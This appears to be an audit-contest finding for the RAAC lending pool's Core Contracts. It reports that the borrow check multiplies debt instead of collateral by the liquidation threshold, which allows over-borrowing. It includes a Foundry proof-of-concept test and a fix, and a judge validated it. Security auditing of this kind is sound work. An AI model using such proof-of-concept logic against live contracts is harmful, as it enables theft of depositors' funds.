Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect calculation when borrow assets from lending pool

Summary

When a user borrows assets from the lending pool, their collateral value is compared to their debt. However, an incorrect calculation may allow users to borrow more assets than intended.

Vulnerability Details

if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) { //@audit revert.
revert NotEnoughCollateralToBorrow();
}

From the above code, we can see that userTotalDebt is multiplied by liquidationThreshold, whereas it should be applied to collateralValue instead.

Test:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "contracts/core/collectors/FeeCollector.sol";
import "contracts/core/tokens/RAACToken.sol";
import "contracts/core/tokens/veRAACToken.sol";
import "forge-std/Test.sol";
import "contracts/mocks/core/oracles/TestRAACHousePriceOracle.sol";
import "contracts/mocks/core/tokens/crvUSDToken.sol";
import "contracts/mocks/core/tokens/MockUSDC.sol";
import "contracts/core/tokens/RToken.sol";
import "contracts/core/tokens/DebtToken.sol";
import "contracts/core/tokens/RAACNFT.sol";
import "contracts/core/primitives/RAACHousePrices.sol";
import "contracts/core/pools/LendingPool/LendingPool.sol";
import "forge-std/Console2.sol";
import "contracts/interfaces/core/pools/LendingPool/ILendingPool.sol";
contract Pool2 is Test{
crvUSDToken public crv;
RToken public rToken;
DebtToken public debtToken;
RAACNFT public raccNFT;
TestRAACHousePriceOracle public oracle;
RAACHousePrices public housePrice;
MockUSDC public usdc;
LendingPool public pool;
uint256 NFTTokenId = 1;
address alice = address(0x1001);
address bob = address(0x1002);
address candy = address(0x1003);
function setUp() public {
crv = new crvUSDToken(address(this));
rToken = new RToken("rt","rt",address(this),address(crv));
debtToken = new DebtToken("db","db",address(this));
address router;
usdc = new MockUSDC(1_000_000e6);
housePrice = new RAACHousePrices(address(this));
oracle = new TestRAACHousePriceOracle(router,bytes32('1'),address(housePrice));
raccNFT = new RAACNFT(address(usdc),address(housePrice),address(this));
pool = new LendingPool(address(crv),address(rToken),address(debtToken),address(raccNFT),address(housePrice),1e26);
rToken.setReservePool(address(pool));
housePrice.setOracle(address(this));
debtToken.setReservePool(address(pool));
}
function testUserOverBorrow() public {
//alice deposit crv to pool.
crv.mint(alice,100e18);
vm.startPrank(alice);
crv.approve(address(pool), 100e18);
pool.deposit(100e18);
vm.stopPrank();
//bob mint nft.
housePrice.setHousePrice(NFTTokenId, 10e18);
usdc.mint(bob,10e18);
vm.startPrank(bob);
usdc.approve(address(raccNFT),10e18);
raccNFT.mint(NFTTokenId, 10e18);
raccNFT.approve(address(pool), NFTTokenId);
//bob deposit NFT.
pool.depositNFT(NFTTokenId);
//bob borrow.
pool.borrow(12e18);
console2.log("bob crv bal:",crv.balanceOf(bob));
console2.log("bob hf:",pool.calculateHealthFactor(bob));
}

Impact

User borrow more asset than expected

Tools Used

Eye

Recommendations

if (collateralValue.percentMul(liquidationThreshold) < userTotalDebt) { //@audit revert.
revert NotEnoughCollateralToBorrow();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.